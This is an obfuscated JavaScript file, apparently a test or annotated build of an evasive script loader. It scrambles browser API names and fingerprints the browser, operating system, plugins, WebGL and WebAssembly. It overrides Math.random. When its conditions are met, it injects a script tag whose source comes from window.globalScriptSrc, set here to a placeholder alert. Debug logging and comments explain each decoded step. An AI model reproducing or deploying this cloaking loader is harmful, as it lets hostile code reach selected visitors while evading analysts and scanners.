window.globalScriptSrc = "data:text/javascript,alert('work, yes')";

+function(){

    var init = {},
        fn = '',
        pass = '__',
        idx = 2,
        instance, param; // window after sortRes() calling, window.document after createElem() calling
    var sorted = sortRes();
    console.log('sorted', sorted)

    // window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
    // arguments: info, 'cook', 'ins', 'een'
    function searchElem(arg, filter, mask, extra) {
        var res = '',
            ls = info.osc, // 1
            some = arg.add;
        if (arguments && arguments.length > ls) {
            var len = arg.bar.length; // 10
            some[idx + ls] += some[idx];
            var ar = [some[idx + ls]];
            some[len - 1] += arg.dev[ls] + arg.post[+fn];
            ar[ls] = some[len - 1] + some[len / idx];
            if (filter && filter.length === idx * 2) {
                filter += 'ie' + arg.Message;
                var page = instance[some[some[idx].length] + extra]; // window.screen
                ar.push(page[arg.ect + arg.post[idx]], filter) // 'cookieEnabled'  ?????? ie
                ar[idx * 2] = arg.dev[idx] + mask;
            } else {
                filter = arg.extra[mask];
                var page = some[len - 1][len];
                ar.push(page, filter);
            }
            var tempRes = ar.map(function(item, index) {
                index < idx ? item = instance[item]
                : index > idx ? item = elem[item] : ''
                return item;
            })
            property = tempRes[idx * 2];
            res = tempRes.reduce(function(prev, current) {
                return prev && current
            }, tempRes[0])
        } else {
            arg.forEach(function(el) {
                res += sorted[el[ls - 1]][el[ls]]
            })
        }
        return res;
    }

    var info = {
        user: 'Name',
        bar: 'persistent',
        Message: 'Enabled',
        post: ['Pixel', 'Points', 'Depth'],
        ect: 'color',
        Ratio: 'random',
        buffer: 'side',
        scr: 'crypto',
        osc: 1,
        dev: ['nav', 'ice', 'plug', 'iga', 'gent']
    }


    var qNum = []; // [11, 6, 10, 3, 2, 8, 9, 5] after createElem()
    var elem = createElem(info.dev, sorted, 1); // window.navigator

    function mixRes(arg, str) {
        var mix = [isOpen],
            temp = colProp.match(arg) &&
                isNewProp && mes && checked();
            cond = checkProps(str + info.bar.slice(qNum[1] + 1) +
                '|' + searchElem([
                [idx, +fn], [idx - 1, +fn], [idx + 1, +fn], [idx, +fn]
                ]), idx + 1);
        textVal[qNum[1] + 1] += 'GL' + textVal[qNum[1]];
        info.add[qNum[1]] = textVal[qNum[1] + 1] + info.add[qNum[1]]; // 'WebGLFramebuffer'
        mix.push(temp, colProp.match(cond) && info.max);
        return mix[+fn] || mix[idx - 1] || mix[idx];
    }

    console.log('elem', elem)
    console.log('param', param)
    var text = fn || RegExp;
    var textVal = ['ppa', 'noisre', 'talp', 'afas', 'erif', 'hcuo', 'emar'];

    // return Node with 2 argument and reverse textVal elements
    // return typeof(window.crypto)=="function"||[navigator.appCodeName,navigator.appVersion].join(navigator.javaEnabled).match(/"/g)
    // text = info.scr = 'crypto', arg1 = 'ssem', arg2 = textVal
    function addText(text, arg1, arg2) {
        if (arguments && arguments.length === idx) {
            var tmp = text || Node;
            if (Array.isArray(arg1)) {
                var lgt = arg1.length; // 7
                var textV = arg1.map(function(el) {
                    var buf = el.split('').reverse();
                    return parseEl(buf);
                })
            }
            textVal = textV.map(function(item, index) {
                index === info.osc ? item = 'V' + item : index === idx ?
                item += searchElem([
                    [idx - 1, idx],
                    [+fn, idx - 1],
                    [+fn, lgt - idx],
                    [idx, idx + 1]
                ]) : index === idx + 1 ? item += 'ri|' :
                index === lgt - idx ? item = 'T' + item :
                index === lgt - 1 ? item = 'F' + item : item;
                return item;
            })
            return tmp;
        } else {
            var bul = typeof instance[text] == 'function',
                sFr = arg2.length * 2 + 1; // 15
                arr = [arg2[+fn] + 'C' + searchElem([
                    [+fn, idx -1 ], [idx - 1, +fn], [idx - 1, idx - 1]
                ]) + info.user, arg2[+fn] + arg2[idx - 1],
                'j' + searchElem([
                    [sFr, idx - 1], [sFr, +fn], [sFr, idx - 1]
                ]) + info.Message];
            var res = arr.map(function(el) {
                return elem[el];
            });
            if (arg1 && typeof arg1 === 'object') {
                for (var key in arg1) {
                    key === sFr ? arg1[key] += arg2[idx] : ''
                }
                info.cur = arg1[sFr];
            } else {
                info.cur = 'A' + arg1 + 'bly';
                arg2[sFr / 3] += info.post[idx - 1];
                arg2.push('W' + searchElem([
                    [idx - 1, idx - 1], [idx, (sFr - 1) / 2]
                ]))
            }
            var sTem = checkProps('"', idx - 1);
            var base = [res[+fn], res[idx - 1]].join(res[idx]).match(sTem);
            return bul || base;
        }
    }
    var que = info.Message.length + 1; // 8
    var mes = searchElem(info, 'cook', 'ins', 'een'),
        property, defRatio, startSign; // navigator.plugins, window.sidebar, window.Rect
    console.log('mes', mes)
    console.log('property', property)
    var isNewProp = instance[info.bar.toUpperCase()]; // window.PERSISTENT
    console.log('isNewProp', isNewProp)

    // return navigator.userAgent with 4 arguments
    // return RegExp with 2 arguments
    function checkProps() {
        var prop, ar = [],
            len = arguments.length; // 4 for first calling
        for (var i = 0; i < arguments.length; i++) {
            ar[i] = arguments[i];
        }
        if (len > idx) {
            var idn = len - 1; // 3
            ar[idx + 1].buffer += ar[idx + 1].add[idx - 1];
            defRatio = instance[ar[idx + 1].buffer];
            ar[idx + 1].add[+fn] += ar[+fn] + ar[idx + 1].dev[len];
            var searchRes = searchElem([
                [+fn, idx + 1],
                [idx - 1, idx - 1],
                [+fn, +fn]
            ]) + ar[idx] + 'ty';
            ar[idx + 1].plus = param[searchRes]; // document.security
            startSign = instance[ar[idx - 1] + ar[idx + 1].add[len]]; // window.Rect
            info.rest = searchElem([
                [idx, len + idn],
                [len + idx, +fn],
                [idx, idx],
                [+fn, len + 1]
            ])
            prop = elem[ar[idx + 1].add[+fn]];
        } else {        // 1 argument - without flag; 1 - 'g', 2 - 'gi', else 'i'
            var textProp = '';
            ar[1] ? ar[1] === idx - 1 ? textProp = (typeof fn)[qNum[qNum.length - 1]]
            : ar[1] === idx ? textProp = searchElem([[idx + 1, +fn], [idx - 1, idx + 1]]) :
            textProp = (typeof fn)[idx + 1] : '';
            if (textProp) prop = new text(ar[0], textProp)
            else prop = new text(ar[0]);
        }
        return prop;
    }
    var colProp = checkProps('A', 'R', 'uri', info);
    console.log('colProp', colProp);
    console.log('defRatio', defRatio)
    console.log('startSign', startSign);
    function count(arg) {
        if (arg && typeof arg === 'object') {
            var listS = [];
            for (var key in arg) {
                listS.push(arg[key])
            };
            var res = listS.filter(function(item) {
                return item !== '' && item !== pass;
            })
            return res;
        }
        if (extended) {
            if (mixed) {
                console.log(restParam);
                if (
                    addParam > 0 && instance[arg]
                ) {
                    list();
                }
            }
        }
    }

    var prevList = param[searchElem([  // document.body
        [idx, que - 1],
        [+fn, idx - 1],
        [idx - 1, +fn],
        [que + idx, que - 1]
    ])];
    console.log('prevList', prevList)
    var tParam = addText(fn, textVal); // Node
    var parsed = parseEl(tParam, pass, qNum[idx]); // Node.__cspr__
    console.log('parsed', parsed);
    console.log('info', info)
    info.desc = checkProps('chr' + searchElem([
        [+fn, idx - 1], [idx, idx + 1], [idx - 1, idx - 1]
    ]), idx + 1);
    var track = new Date/1e13;

    // return window.navigator
    function createElem(arr, arg, fix) {
        var number = arg.length / 2; // 8
        arr[idx + 1] += arg[+fn].slice(number);
        var tmp = searchElem([
            [fix, +fn],
            [+fn, fix],
            [+fn, +fn]
        ]) + sorted[idx].substr(idx, idx + 1) + 'nt';
        param = instance[tmp];
        if (typeof obj === 'object') {
            for (var key in obj) {
                key === tmp ? obj[key] = param
                : obj[key] += arr[idx + fix]
            }
        } else {
            tmp = searchElem([
               [fix, fix],
               [idx, number - fix],
               [idx, idx],
               [idx + 1, +fn]
            ]);
            info.max = instance['D' + tmp];
            info.add = Object.keys(info);
        }
        var qNums = arg.map(function(el) {
            return el.length;
        })
        qNum = qNums.reduce(function(res, num) {
            if (res.indexOf(num) === -1) res.push(num);
            return res;
        }, []);
        console.log('qNum', qNum)
        arr[+fn] += arr[idx + 1];
        return instance[arr[+fn]]; // window.navigator
    }



    // return sorted with all letters; define instance as window
    function sortRes() {
        var tmp = Object.getOwnPropertyNames(init.__proto__),
            arr = [];
        var res = tmp.map(function(item) {
            for (var i = 0; i < item.length; i++) {
                item[i] === '_' ? item = item.slice(i + 2)
                : item[i] === item[i].toUpperCase()
                ? (arr.push(item.slice(i)), item = item.slice(+fn, i))
                : item;
            }
            return item;
        })
        arr.forEach(function(item) {
            for (var i = 1; i < item.length; i++) {
                item[i] === item[i].toUpperCase()
                ? ( res.push(item.slice(+fn, i)),
                    res.push(item.slice(i)))
                : ''
            }
        })
        if (arguments && arguments.length === tmp.length) {
            for (var i = 0; i < arguments.length; i++) {
                arr.indexOf(arguments[i]) === -1
                ? arr.push(arguments[i]) : ''
            }
        } else instance = window;
        var result = res.reduce(function(sum, item) {
            if (sum.indexOf(item.toLowerCase()) === -1
                && item.indexOf('_') === -1 && item !== pass
                && item !== fn && item !== '_')
                sum.push(item.toLowerCase());
                return sum;
        }, []).sort();
        return result;
    }



	~function(message, rad) {
        if (elem && typeof elem === 'number') {
            var mark = 0;
            Math.floor(rad) === elem ? mark = elem
            : mark = info.osc + rad;
            return mark;
        } else {
            Math[rad] = function() {
                return track
            };
        }
		message && message.forEach(function(mes) {
            tParam.prototype[mes[+fn]] = mes[+fn + 1]
        });
    }(parsed, info.Ratio);

    var checked = function(){ return !fn.match.call(property[0].name, "um") };
    var addParam = info.plus?4:defRatio?1:2;
    var singleVal = addText(info.scr, 'ssem', textVal); // text = info.scr = 'crypto', arg1 = 'ssem', arg2 = textVal
    console.log('singleVal', singleVal);
    // colProp.match(/safari|firefox/i) && (startSign || defRatio )
    var isOpen = colProp.match(
        checkProps(textVal[idx + 1] + textVal[qNum[1] - idx] +
        searchElem([[idx - 1, idx], [+fn, idx - 1]
        ]) + 'x', idx + 1)) && (startSign || defRatio );
    console.log('isOpen', isOpen)


    // 1st if
    function extendElem(arg, arg1, sub) {
        var isLast = checkProps('w' + sub + searchElem([  // /lin|mac/gi ************* change to 'w' for testing!!!
            [idx * 2, idx - 1], [+fn, +fn]
        ]), idx);
        var condArr = [
            elem[textVal[idx]].match(isLast),
            !elem['max' + textVal[qNum[idx] / 2]],
            !singleVal, rest
        ]
        info.cur = textVal[qNum[1] + 1] + info.cur; // 'WebAssembly'
        var segm = instance[info.cur] && elem[info.add[qNum[1] + 2]+ arg1];
        condArr.push(!instance[info.fin] ||
            segm || elem[arg + 'm' + info.Message]);
        console.log('condArr', condArr)
        var result = condArr.reduce(function(prev, current) {
            return prev && current
        }, condArr[0])
        return result;
    }

    var restParam = checkProps(sorted[idx + 1][+fn]); // /g/;

	list = function() {
        var type = info.add[qNum[idx - 1] + 1] + searchElem([
            [idx - 1, idx + 1],
            [qNum[idx], +fn],
            [+fn, qNum[1] - idx]
        ]), inst, serv;
        if (typeof param === 'object') {
            serv = param.createElement(type);
            inst = prevList.appendChild(serv);
        } else {
            serv = instance[prevList[qNum[idx + 1]]];
            inst = serv.appendChild(info.scr);
        }
	    return  inst.src = instance.globalScriptSrc;
	};

	try{ var rest = instance[info.rest]+fn }catch(e){ var rest=false };
    restParam.toString = function() { --addParam; return fn };

    // 1st if
    var extended = extendElem('was', 'pu', 'in|m');
    console.log('extended', extended)

    var mixed = mixRes(info.desc, 'trid');
    console.log('mixed', mixed)
    console.log('textVal', textVal);
    count(info.add[qNum[1]]);

    // return Node.__cspr__ with arguments tParam = Node, pass = '__', qNum[idx] = 10
    // join array if 1 argument
    function parseEl(el, prop, idn) {
        if (idn && typeof idn === 'number') {
            var array = info.add;
            prop += searchElem([
                [+fn, +fn],
                [+fn, idx + 1],
                [idn, +fn],
                [+fn, idn]
            ]) + prop;
            if (array.indexOf(prop) !== -1) {
                info.fin = array.filter(function(el) {
                    return el.number > idn;
                });
                info.fin.push(prop);
            } else {
                info.fin = searchElem([
                    [idx - 1, +fn],
                    [idx, idx],
                    [idx, idx + 1],
                    [idn, +fn]
                ])
            }
            return el[prop];
        } else {
            if (el && Array.isArray(el)) {
                return el.join('');
            } else {
                var temp = [];
                for (var key in el) {
                    key === prop ? temp.push(el[key])
                    : el[key] += 'new'
                }
                return temp;
            }

        }
    }
}();